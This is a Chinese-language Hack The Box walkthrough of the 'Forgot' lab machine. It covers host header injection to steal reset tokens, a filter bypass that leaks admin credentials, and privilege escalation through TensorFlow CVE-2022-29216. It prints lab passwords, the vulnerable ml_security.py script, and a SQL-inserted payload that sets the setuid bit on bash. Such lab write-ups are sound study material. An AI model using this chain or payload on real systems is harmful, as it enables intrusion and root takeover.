HTB靶机:Forgot

靶机信息:

这台靶机前期拿shell很有趣,考了host header 注入 HTTP 绕过后面提权则是CVE-2022-29216这个漏洞,关于Tensorflow

image-20230320203706400

信息收集:

端口扫描:

nmap -sC -sV -Pn 10.129.72.41
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 14 Nov 2022 12:33:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| X-Varnish: 294936
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 14 Nov 2022 12:32:13 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5698
| X-Varnish: 294932 32771
| Age: 55
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| <!DOCTYPE html>
| <html lang="en" >
| <head>
| <meta charset="UTF-8">
| <title>Login</title>
| <style>
| @import url("https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap");
| margin: 0;
| padding: 0;
| box-sizing: border-box;
| font-family: "Poppins", sans-serif;
| :root {
| --dark-dimmed: #fff;
| --accent: #008080;
| --accent-dimmed: #008080;
| --light: #fff;
| body {
| display: flex;
| justify-content: center;
| align-items: center;
| min-height: 100vh;
| margin: 10px;
| background:
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 14 Nov 2022 12:33:09 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| X-Varnish: 40
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| RTSPRequest:
|_ HTTP/1.1 400 Bad Request
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=11/14%Time=63723584%P=x86_64-apple-darwin21.5.0
SF:%r(GetRequest,1749,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\
SF:.2\x20Python/3\.8\.10\r\nDate:\x20Mon,\x2014\x20Nov\x202022\x2012:32:13
SF:\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Leng
SF:th:\x205698\r\nX-Varnish:\x20294932\x2032771\r\nAge:\x2055\r\nVia:\x201
SF:\.1\x20varnish\x20\(Varnish/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnec
SF:tion:\x20close\r\n\r\n\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\"\x20>
SF:\n\n<head>\n\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\n\n\x20\x20
SF:<title>Login</title>\n\x20\x20\n\x20\x20\n\x20\x20\n\x20\x20\n<style>\n
SF:@import\x20url\(\"https://fonts\.googleapis\.com/css2\?family=Poppins:i
SF:tal,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,
SF:200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap\"\);\n\n\*\x
SF:20{\n\x20\x20margin:\x200;\n\x20\x20padding:\x200;\n\x20\x20box-sizing:
SF:\x20border-box;\n\x20\x20font-family:\x20\"Poppins\",\x20sans-serif;\n}
SF:\n\n:root\x20{\n\x20\x20--dark-dimmed:\x20#fff;\n\x20\x20--accent:\x20#
SF:008080;\n\x20\x20--accent-dimmed:\x20#008080;\n\x20\x20--light:\x20#fff
SF:;\n}\n\nbody\x20{\n\x20\x20display:\x20flex;\n\x20\x20justify-content:\
SF:x20center;\n\x20\x20align-items:\x20center;\n\x20\x20min-height:\x20100
SF:vh;\n\x20\x20margin:\x2010px;\n\x20\x20background:\x20")%r(HTTPOptions,
SF:114,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\
SF:.8\.10\r\nDate:\x20Mon,\x2014\x20Nov\x202022\x2012:33:09\x20GMT\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20GET,\x20
SF:OPTIONS\r\nContent-Length:\x200\r\nX-Varnish:\x2040\r\nAge:\x200\r\nVia
SF::\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nAccept-Ranges:\x20bytes\r\n
SF:Connection:\x20close\r\n\r\n")%r(RTSPRequest,1C,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\n\r\n")%r(FourOhFourRequest,1BF,"HTTP/1\.1\x20404\x20NOT
SF:\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x2
SF:0Mon,\x2014\x20Nov\x202022\x2012:33:15\x20GMT\r\nContent-Type:\x20text/
SF:html;\x20charset=utf-8\r\nContent-Length:\x20207\r\nX-Varnish:\x2029493
SF:6\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnec
SF:tion:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404
SF:\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x2
SF:0URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x20If\x20you\x20en
SF:tered\x20the\x20URL\x20manually\x20please\x20check\x20your\x20spelling\
SF:x20and\x20try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口:

使用密码登录,有/forgot界面。

image-20230320204945523

image-20230320204959450

目录扫描:

子域名扫描没有有用的信息,目录扫描发现有/reset目录

image-20230320204929665

image-20230320204935531

这里需要一个有效用户名,爆破无果后,在登录源码中发现一个可疑用户名。并且每次刷新都会变化。

image-20230320204915284

host header 注入

使用有效用户名重置密码响应已发送重置链接,修改host header可以得到对应reset token:

#这里可以使用respond和tcpdump或wireshark配合也可以直接使用python开起一个http服务。
sudo responder -I tun0 -wF
sudo tcpdump -i tun0 -v |grep reset?token= ###因为后面为了直观,我这里加了过滤。
sudo python3 -m http.server 80

image-20230320204853862

image-20230320204902317

image-20221114183343255

image-20230320204840307

image-20221114182445021

非预期:

这里有个非预期成功登录进来后 ,在Tickets目录下发现ssh登录用户diego,这里tickets功能在前端被禁用,启用后访问提示ACCESS_DENIED,查看请求发现是http basic认证,使用的是我们的源码中找到的用户名,尝试修改用户名为admin,成功,得到diego的ssh密码。

这里正常思路是重置的密码后简单地提交票证。链接字段中有一个“http”过滤器,但是您可以使用 HTTP 绕过它。设置一个 netcat 监听器,几分钟后机器人点击链接,您可以在 Authentication 标头中看到 base64,您可以对其进行解码并获取管理员密码。

image-20221114172935604

这里获取到用户名和密码diego:dCb#1!x0%gjq。ssh连接成功获取到用户权限。

image-20221114184027789

这里获取从bot.py文件中获取到真正的admin的密码:dCvbgFh345_368352c@!

image-20230320204820523

提权:

这里sudo -l发现ml_security.py,看起来是从数据库获取数据后进行一些处理:

image-20230320204804295

代码中使用了tensorflow的preprocess_input_exprs_arg_string,并且指定了safe=false这个可以搜到相关漏洞:

Code injection in saved_model_cli in TensorFlow · CVE-2022-29216 · GitHub Advisory Database

https://github.com/advisories/GHSA-75c9-jrh4-79mc

根据代码逻辑,是从escalate表中获取reason,然后检查xss 恶意模式,满足条件后执行preprocess_input_exprs_arg_string

因此,我们可以用恶意内容覆盖数据库reason并运行脚本来执行我们的命令

ml_security.py:

#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string

np.random.seed(42)

f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'

# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")

# Create a function to convert an array of strings to a set of features
def getVec(text):
features = []
for i, line in enumerate(text):
test_data = word_tokenize(line.lower())
v1 = model.infer_vector(test_data)
featureVec = v1
lineDecode = unquote(line)
lowerStr = str(lineDecode).lower()
feature1 = int(lowerStr.count('link'))
feature1 += int(lowerStr.count('object'))
feature1 += int(lowerStr.count('form'))
feature1 += int(lowerStr.count('embed'))
feature1 += int(lowerStr.count('ilayer'))
feature1 += int(lowerStr.count('layer'))
feature1 += int(lowerStr.count('style'))
feature1 += int(lowerStr.count('applet'))
feature1 += int(lowerStr.count('meta'))
feature1 += int(lowerStr.count('img'))
feature1 += int(lowerStr.count('iframe'))
feature1 += int(lowerStr.count('marquee'))
# add feature for malicious method count
feature2 = int(lowerStr.count('exec'))
feature2 += int(lowerStr.count('fromcharcode'))
feature2 += int(lowerStr.count('eval'))
feature2 += int(lowerStr.count('alert'))
feature2 += int(lowerStr.count('getelementsbytagname'))
feature2 += int(lowerStr.count('write'))
feature2 += int(lowerStr.count('unescape'))
feature2 += int(lowerStr.count('escape'))
feature2 += int(lowerStr.count('prompt'))
feature2 += int(lowerStr.count('onload'))
feature2 += int(lowerStr.count('onclick'))
feature2 += int(lowerStr.count('onerror'))
feature2 += int(lowerStr.count('onpage'))
feature2 += int(lowerStr.count('confirm'))
# add feature for ".js" count
feature3 = int(lowerStr.count('.js'))
# add feature for "javascript" count
feature4 = int(lowerStr.count('javascript'))
# add feature for length of the string
feature5 = int(len(lowerStr))
# add feature for "<script" count
feature6 = int(lowerStr.count('script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('&lt;script'))
feature6 += int(lowerStr.count('%3cscript'))
feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
# add feature for special character count
feature7 = int(lowerStr.count('&'))
feature7 += int(lowerStr.count('<'))
feature7 += int(lowerStr.count('>'))
feature7 += int(lowerStr.count('"'))
feature7 += int(lowerStr.count('\''))
feature7 += int(lowerStr.count('/'))
feature7 += int(lowerStr.count('%'))
feature7 += int(lowerStr.count('*'))
feature7 += int(lowerStr.count(';'))
feature7 += int(lowerStr.count('+'))
feature7 += int(lowerStr.count('='))
feature7 += int(lowerStr.count('%3C'))
# add feature for http count
feature8 = int(lowerStr.count('http'))

# append the features
featureVec = np.append(featureVec,feature1)
featureVec = np.append(featureVec,feature2)
featureVec = np.append(featureVec,feature3)
featureVec = np.append(featureVec,feature4)
featureVec = np.append(featureVec,feature5)
featureVec = np.append(featureVec,feature6)
featureVec = np.append(featureVec,feature7)
featureVec = np.append(featureVec,feature8)
features.append(featureVec)
return features


# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)

#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)

# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass

for i in range(len(Xnew)):
t = threading.Thread(target=assessData, args=(i,))
# t.daemon = True
t.start()

使用前面得到的数据库账号密码在数据库中插入恶意数据,然后运行对应脚本触发命令执行:

mysql -D app -udiego -p
insert into escalate values ("1","1","1",'test=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');

image-20230320204730496

结尾:

这个提权我也不是很懂。参考大佬的wp。

https://darkwing.moe/2022/11/14/Forgot-HackTheBox/

image-20230320204720782